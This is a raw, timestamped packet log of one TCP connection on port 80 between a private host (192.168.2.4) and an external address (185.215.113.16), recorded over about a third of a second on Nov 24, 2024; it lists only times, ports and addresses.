Nov 24, 2024 02:13:39.026411057 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.026532888 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.026537895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.026657104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.027431011 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.027529001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.027545929 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.027676105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.028458118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.028579950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.028584957 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.028701067 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.029495001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.029606104 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.029613972 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.029710054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.030515909 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.030661106 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.030688047 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.030801058 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.031557083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.031698942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.031728029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.031855106 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.032639027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.032763958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.032824039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.032974005 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.033634901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.033735037 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.033757925 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.033811092 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.149604082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.149712086 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.150115013 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.150166988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.150340080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.150340080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.151154041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.151303053 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.151333094 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.152203083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.153367996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.175679922 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.175888062 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.175914049 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.176018953 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.176048040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.176119089 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.176148891 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.176228046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.177082062 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.177176952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.177206993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.177253962 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.178090096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.178179979 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.178210020 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.178301096 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.179253101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.179363966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.179373026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.179552078 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.180298090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.180351973 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.180381060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.180537939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.181191921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.181317091 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.181344032 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.181443930 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.182208061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.182326078 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.182328939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.182471037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.183248043 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.183316946 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.183346987 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.183456898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.184281111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.184392929 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.184410095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.184525967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.185307980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.185430050 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.185431957 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.185554981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.186350107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.186455965 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.186480045 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.186575890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.187447071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.187489033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.187516928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.187774897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.188429117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.188564062 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.189446926 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.189616919 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.189646006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.190485001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.190515041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.190598011 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.190628052 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.190829039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.191535950 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.191658974 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.191715956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.191833973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.192553997 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.192697048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.192703009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.192823887 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.193571091 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.193651915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.193680048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.193793058 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.194619894 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.194705963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.194732904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.194854021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.195650101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.195755005 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.195765018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.195872068 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.196674109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.196794987 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.196800947 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.196913004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.197741032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.197818995 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.197846889 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.197978973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.198744059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.198862076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.198870897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.198982000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.199783087 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.199879885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.199899912 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.200021982 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.200820923 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.200889111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.200917959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.201030016 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.201849937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.201898098 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.201960087 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.202006102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.202860117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.202908993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.202980042 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.203028917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.203900099 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.203962088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.204021931 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.204070091 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.204966068 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.205022097 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.205054998 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.205100060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.205965042 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.206021070 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.206077099 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.206116915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.207015038 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.207060099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.207093954 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.207138062 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.208048105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.208111048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.208118916 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.208148003 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.209076881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.209127903 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.209181070 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.209223986 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.210094929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.210143089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.210201979 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.210237026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.211150885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.211198092 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.211232901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.211268902 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.212188959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.212235928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.212286949 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.212336063 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.213213921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.213260889 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.213320971 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.213366985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.214224100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.214267969 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.214332104 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.214378119 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.215250015 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.215296984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.215359926 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.215399981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.216299057 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.216346979 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.216401100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.216445923 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.217339039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.217386007 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.217389107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.217426062 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.218403101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.218450069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.218468904 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.218508959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.219491005 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.219541073 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.219547987 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.219583988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.220453024 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.220499039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.220573902 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.220621109 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.221476078 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.221522093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.221584082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.221626997 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.222513914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.222554922 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.222651958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.222692013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.223539114 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.223604918 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.223648071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.223689079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.224570036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.224642992 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.224657059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.224705935 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.225621939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.225641012 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.225688934 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.225708008 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.341510057 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.341567993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.341598988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.341634989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.342041016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.342082977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.342142105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.342183113 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.343055010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.343100071 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.343152046 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.343193054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.344077110 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.344115973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.367492914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.367535114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.367583990 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.367626905 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.367968082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.368005037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.368071079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.368107080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.369021893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.369061947 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.369127035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.369164944 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.370032072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.370074987 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.370105982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.370143890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.371085882 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.371124029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.371126890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.371157885 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.372119904 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.372158051 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.372189045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.372231960 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.373159885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.373200893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.373258114 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.373294115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.374142885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.374201059 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.374258041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.374289989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.375189066 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.375231981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.375288963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.375339985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.376233101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.376286983 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.376341105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.376380920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.377243996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.377284050 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.377341986 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.377387047 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.378279924 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.378319979 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.378381014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.378420115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.379323959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.379364014 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.379414082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.379456043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.380327940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.380368948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.380456924 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.380495071 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.381431103 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.381443024 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.381473064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.381495953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.382404089 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.382447004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.382515907 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.382555008 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.383443117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.383485079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.383550882 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.383590937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.385186911 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.385230064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.385248899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.385286093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.385505915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.385543108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.385575056 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.385613918 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.386555910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.386595964 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.386668921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.386712074 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.387594938 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.387639999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.387705088 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.387754917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.388617039 CET	80	49756	185.215.113.16	192.168.2.4
